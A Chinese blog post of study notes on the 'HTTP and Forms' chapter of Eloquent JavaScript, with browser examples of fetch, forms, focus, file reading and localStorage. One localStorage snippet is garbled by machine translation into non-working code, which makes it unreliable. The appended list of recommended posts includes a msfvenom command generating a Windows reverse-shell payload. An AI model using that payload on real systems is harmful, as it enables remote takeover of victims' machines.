Eloquent JavaScript #13# HTTP and Forms
索引
Notes
基本是直接拷贝代码了。。原书《Eloquent JavaScript》
1、fetch
Why I won't be using Fetch API in my apps – Shahar Talmi – Medium(这篇文章的评论区有精彩辩论:p)
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
<script type="text/javascript">
let resp;
fetch("example/data.txt").then(response => {
console.log(response.status);
// → 200
console.log(response.headers.get("Content-Type")); // header是一种类似map的对象,大小写无关紧要
// → text/plain
resp = response;
}); // 只有在网络错误或者无法找到请求服务器时,promise才会被reject fetch("example/data.txt")
.then(resp => resp.text()) // 读取响应也是个耗时操作,因此仍然用promise来读它
.then(text => console.log(text));
// → hello world fetch("example/data.txt", {headers: {Range: "bytes=8-19"}})
.then(resp => resp.text())
.then(console.log);
// → the content(本机测试还是整段话输出来了?) // 默认是GET方法
fetch("example/data.txt", {method: "DELETE" }).then(resp => {
console.log(resp.status);
// → 405 (本机测试是500)
}).catch(reason => console.log(reason)); </script>
</body> </html>
2、form
form是在还没有js的时代被设计出来的,在有js的时代,form并不是必要的。
3、focus
可以用focus()和blur()方法控制focus:
<input type="text">
<script>
document.querySelector("input").focus();
console.log(document.activeElement.tagName);
// → INPUT
document.querySelector("input").blur();
console.log(document.activeElement.tagName);
// → BODY
</script>
自定义tab切换focus顺序:
<input type="text" tabindex=1> <a href=".">(help)</a>
<button onclick="console.log('ok')" tabindex=2>OK</button>
4、Disabled fields
例如在执行异步操作时,不希望用户反复点击按钮:
<button>I'm all right</button>
<button disabled>I'm out</button>
5、form’s elements property
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
<form action="example/submit.html">
Name: <input type="text" name="name"><br> Password: <input type="password" name="password"><br>
<button type="submit">Log in</button>
</form>
<script>
let form = document.querySelector("form");
console.log(form.elements[1].type);
// → password
console.log(form.elements.password.type);
// → password
console.log(form.elements.name.form == form);
// → true
</script>
</body> </html>
6、阻止提交
然后自己用js提交(fetch,ajax等)
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
<form action="example/submit.html">
Value: <input type="text" name="value">
<button type="submit">Save</button>
</form>
<script>
let form = document.querySelector("form");
form.addEventListener("submit", event => {
console.log("Saving value", form.elements.value.value);
event.preventDefault();
});
</script>
</body> </html>
7、快速插入单词
借助selectionStart和selectionEnd以及value属性:
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
<textarea></textarea>
<script>
let textarea = document.querySelector("textarea");
textarea.addEventListener("keydown", event => {
// The key code for F2 happens to be 113
if(event.keyCode == 113) {
replaceSelection(textarea, "Khasekhemwy");
event.preventDefault();
}
}); function replaceSelection(field, word) {
let from = field.selectionStart,
to = field.selectionEnd;
field.value = field.value.slice(0, from) + word +
field.value.slice(to);
// Put the cursor after the word
field.selectionStart = from + word.length;
field.selectionEnd = from + word.length;
}
</script>
</body> </html>
8、实时统计字数
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
<input type="text"> length: <span id="length">0</span>
<script>
let text = document.querySelector("input");
let output = document.querySelector("#length");
text.addEventListener("input", () => {
output.textContent = text.value.length;
});
</script>
</body> </html>
9、监听checkbox和radio
<label>
<input type="checkbox" id="purple"> Make this page purple
</label>
<script>
let checkbox = document.querySelector("#purple");
checkbox.addEventListener("change", () => {
document.body.style.background =
checkbox.checked ? "mediumpurple" : "";
});
</script>
X
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
Color:
<label>
<input type="radio" name="color" value="orange"> Orange
</label>
<label>
<input type="radio" name="color" value="lightgreen"> Green
</label>
<label>
<input type="radio" name="color" value="lightblue"> Blue
</label>
<script>
let buttons = document.querySelectorAll("[name=color]");
for(let button of Array.from(buttons)) {
button.addEventListener("change", () => {
document.body.style.background = button.value;
});
}
</script>
</body> </html>
10、监听select
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
<select multiple>
<option value="1">0001</option>
<option value="2">0010</option>
<option value="4">0100</option>
<option value="8">1000</option>
</select> = <span id="output">0</span>
<script>
let select = document.querySelector("select");
let output = document.querySelector("#output");
select.addEventListener("change", () => {
let number = 0;
for(let option of Array.from(select.options)) {
if(option.selected) {
number += Number(option.value);
}
}
output.textContent = number;
});
</script>
</body> </html>
11、上传文件
<input type="file">
<script>
let input = document.querySelector("input");
input.addEventListener("change", () => {
if (input.files.length > 0) {
let file = input.files[0];
console.log("You chose", file.name);
if (file.type) console.log("It has type", file.type);
}
});
</script>
异步读内容:
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
<input type="file" multiple>
<script>
let input = document.querySelector("input");
input.addEventListener("change", () => {
for(let file of Array.from(input.files)) {
let reader = new FileReader();
reader.addEventListener("load", () => {
console.log("File", file.name, "starts with",
reader.result.slice(0, 20));
});
reader.readAsText(file);
}
});
</script>
</body> </html>
12、本地存储数据
有时仅将数据保留在浏览器中就足够了。
localStorage。setItem(“username”,“marijn”);
控制台。日志(localStorage的。的getItem(“用户名”));
//→marijn
localStorage。removeItem(“username”);
localStorage特点:容量小,不可跨域。
类似的是sessionStorage,关掉浏览器就没有了。
简单笔记本↓
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
Notes:
<select></select> <button>Add</button><br>
<textarea style="width: 100%"></textarea> <script>
let list = document.querySelector("select");
let note = document.querySelector("textarea"); let state; function setState(newState) {
list.textContent = "";
for(let name of Object.keys(newState.notes)) {
let option = document.createElement("option");
option.textContent = name;
if(newState.selected == name) option.selected = true;
list.appendChild(option);
}
note.value = newState.notes[newState.selected]; localStorage.setItem("Notes", JSON.stringify(newState));
state = newState;
}
setState(JSON.parse(localStorage.getItem("Notes")) || {
notes: {
"shopping list": "Carrots\nRaisins"
},
selected: "shopping list"
}); list.addEventListener("change", () => {
setState({
notes: state.notes,
selected: list.value
});
});
note.addEventListener("change", () => {
setState({
notes: Object.assign({}, state.notes, {
[state.selected]: note.value
}),
selected: state.selected
});
});
document.querySelector("button")
.addEventListener("click", () => {
let name = prompt("Note name");
if(name) setState({
notes: Object.assign({}, state.notes, {
[name]: ""
}),
selected: name
});
});
</script>
</body> </html>
Excercise
① Content negotiation
课本答案:
const url = "https://eloquentjavascript.net/author";
const types = ["text/plain",
"text/html",
"application/json",
"application/rainbows+unicorns"]; async function showTypes() {
for (let type of types) {
let resp = await fetch(url, {headers: {accept: type}});
console.log(`${type}: ${await resp.text()}\n`);
}
} showTypes();
---------------------------
② A JavaScript workbench
<!DOCTYPE html>
<html> <head>
<meta charset="UTF-8">
<title></title>
</head> <body>
<textarea id="code">return "hi";</textarea>
<button id="button">Run</button>
<pre id="output"></pre> <script>
// Your code here.
let run = document.querySelector("#button");
let outputNode = document.querySelector("#output");
run.addEventListener("click", event => {
let code = document.querySelector("#code").value;
let func = Function(code);
let result;
try {
result = func();
} catch (error) {
result = error;
}
outputNode.innerText = String(result);
});
</script>
</body> </html>
------------------- - -
③ Conway’s Game of Life
暂时省略
Eloquent JavaScript #13# HTTP and Forms的更多相关文章
- Eloquent JavaScript #10# Modules
索引 Notes 背景问题 模块Modules 软件包Packages 简易模块 Evaluating data as code CommonJS modules ECMAScript modules ...
- Eloquent JavaScript #04# Objects and Arrays
要点索引: JSON More ... 练习 1.补:js字符串的表达方式有三种: "" 和 '' 没什么区别,唯一区别在于 "" 中写 "要转义字符 ...
- Eloquent JavaScript #12# Handling Events
索引 Notes onclick removeEventListener Event objects stopPropagation event.target Default actions Key ...
- Eloquent JavaScript #11# The Document Object Model
索引 Notes js与html DOM 在DOM树中移动 在DOM中寻找元素 改变Document 创建节点 html元素属性 布局 style CSS选择器 动画 Exercises Build ...
- Eloquent JavaScript #09# Regular Expressions
索引 Notes js创建正则表达式的两种方式 js正则匹配方式(1) 字符集合 重复匹配 分组(子表达式) js正则匹配方式(2) The Date class 匹配整个字符串 Choice pat ...
- Eloquent JavaScript #05# higher-order functions
索引 Notes 高阶函数 forEach filter map reduce some findIndex 重写课本示例代码 Excercises Flattening Your own loop ...
- Eloquent JavaScript #03# functions
索引: let VS. var 定义函数的几种方式 more... 1.作者反复用的side effect side effect就是对世界造成的改变,例如说打印某些东西到屏幕,或者以某种方式改变机器 ...
- Eloquent JavaScript #02# program_structure
第一章中作者介绍了各种值,但是这些独立的值是没有意义的,只有当值放在更大的框架的时候才会彰显它们的价值.所以第二章开始介绍程序结构. 1.var VS. let 以及 const 作者推荐用 let ...
- Eloquent JavaScript #01# values
When action grows unprofitable, gather information; when information grows unprofitable, sleep. ...
随机推荐
- Android使用SpannableString设置多样式文本
Android将一行文本设置为多种样式时,可以使用 SpannableString 来实现 private void setTips(){ String big = "大字深色"; ...
- Py中map与np.rival学习
转自:廖雪峰网站 1.map/reduce map()函数接收两个参数,一个是函数,一个是Iterable,map将传入的函数依次作用到序列的每个元素,并把结果作为新的Iterator返回. 举例说明 ...
- @Value("#{}") 和 @Value("{}")
1 @Value("#{}") SpEL表达式 @Value("#{}") 表示SpEl表达式通常用来获取bean的属性,或者调用bean的某个方法.当然还 ...
- ElasticSearch6.2.3安装Head插件
1.环境 Linux centos7 elasticsearch-head的zip包,github网址如下:https://github.com/mobz/elasticsearch-head nod ...
- iOS UI布局-回到顶部
回到顶部,是比较常用的一个效果 核心代码 在ViewDidLoad中,添加回到顶部按钮 计算偏移量,如果当前显示的内容全部向上隐藏掉,则显示“回到顶部”按钮 // // ViewController. ...
- HTML-CSS线性渐变
实现背景的渐变可以通过为背景添加颜色渐变的图片,也可以使用浏览器的功能来为背景添加渐变的颜色 在IE6或IE7浏览器下可以使用一下示例的CSS语句,设置filter属性来实现颜色 filter:pro ...
- Mongo数据两表关联创建视图示例
表tblCard: {"cNo":"11","oRDate":ISODate("2017-08-01T00:00:00.000+0 ...
- featuremap尺寸的计算
对于卷积层,向下取整 对于池化层:想上取整 output=((input+2*pad-dilation*(kernel-1)+1)/stride)+1 input:输入尺寸 output:输出尺寸 p ...
- windows编程之Windows Shell 编程
参考书<VC++ Windows Shell Programming> 这里仅仅是记录下该资源,推荐到下文列出的连接进行查看 用VC++ 进行Windows Shell 扩展编成 ...
- Msfvenom木马使用及TheFatRat工具
msfvenom –platform windows -p windows/x64/shell/reverse_tcp LHOST=192.168.168.111 LPORT=3333 EXITFUN ...